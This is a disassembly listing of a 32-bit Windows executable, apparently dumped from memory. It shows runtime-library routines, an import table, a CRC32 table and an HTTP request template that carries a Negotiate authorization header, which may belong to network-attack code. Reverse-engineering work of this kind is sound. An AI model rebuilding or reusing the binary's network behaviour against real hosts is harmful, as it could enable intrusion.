B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2650391h pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi call near ptr 2640000h nop test eax, eax jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636+4Aj push esi push esi push ebx push offset word_4CB88C push edi push esi nop call near ptr 2641234h test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2831022h mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2831022h nop test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2641234h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2641234h test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2700000h mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2600532h test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi call near ptr 2610000h nop test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600532h jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2831022h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2831022h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2610000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25E0000h, 25F0000h, 25F0B0Dh, 2600000h, 26004A3h, 2600532h dd 2610000h, 2610802h, 2610CE9h, 2620000h, 262083Fh, 2620A48h dword_427030 dd 2620A65h ; DATA XREF: ___:004239E2r dd 2620B13h, 2620DA7h, 2620DD9h, 2630000h, 2640000h, 2641234h dd 2650000h, 2650391h, 265088Bh, 26508B0h, 2660000h, 2660780h dword_427064 dd 2660C1Bh ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 2660D71h ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 2670000h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2670347h, 2680000h, 2680ABAh dword_427080 dd 2680EBDh ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 2690000h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r dd 269021Ch dword_42708C dd 2690328h ; DATA XREF: sub_419C09+B9r dd 2690885h dword_427094 dd 26908B8h ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 26908E1h ; DATA XREF: ___:loc_4013DCr dd 2690CB1h, 2690DA0h dword_4270A4 dd 26A0000h ; DATA XREF: sub_409909+2r dd 26A0192h, 26A0201h dword_4270B0 dd 26A0891h ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 26A08EAh ; DATA XREF: sub_4116D6:loc_4117C2r dd 26B0000h, 26B0B4Eh dword_4270C0 dd 26C0000h ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26C0422h ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26D0000h, 26E0000h, 26E05F4h, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F04BBh, 26F064Bh dword_4270E8 dd 2700000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 27010AAh ; DATA XREF: sub_4119F9+Br dd 2710000h, 2720000h dword_4270F8 dd 27207BBh ; DATA XREF: sub_4187E0+36r dd 2720A65h, 2730000h dword_427104 dd 27305B5h ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2740000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 2750000h, 2760000h, 2760C61h, 2770000h, 2770622h, 2780000h dd 2790000h, 2791072h, 2791C9Ch, 27A0000h, 27A01B0h, 27A02A2h dd 27A0543h, 27B0000h, 27B0889h dword_427148 dd 27C0000h ; DATA XREF: sub_4172C1+BCr dd 27C0691h dword_427150 dd 27D0000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 27D0C1Ch ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 27D0CEAh dword_42715C dd 27E0000h ; DATA XREF: sub_41761C+56r dd 27E01C0h, 27F0000h, 2800000h, 28005FAh, 2800BD4h, 2810000h dd 2810165h, 28108A5h, 2820000h, 2830000h dword_427188 dd 2831022h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2840000h, 2840457h, 2840894h, 2840C58h, 2850000h, 2860000h dd 2862119h, 2870000h, 2871B87h, 2871BC8h, 2880000h, 2880CF5h dd 2890000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 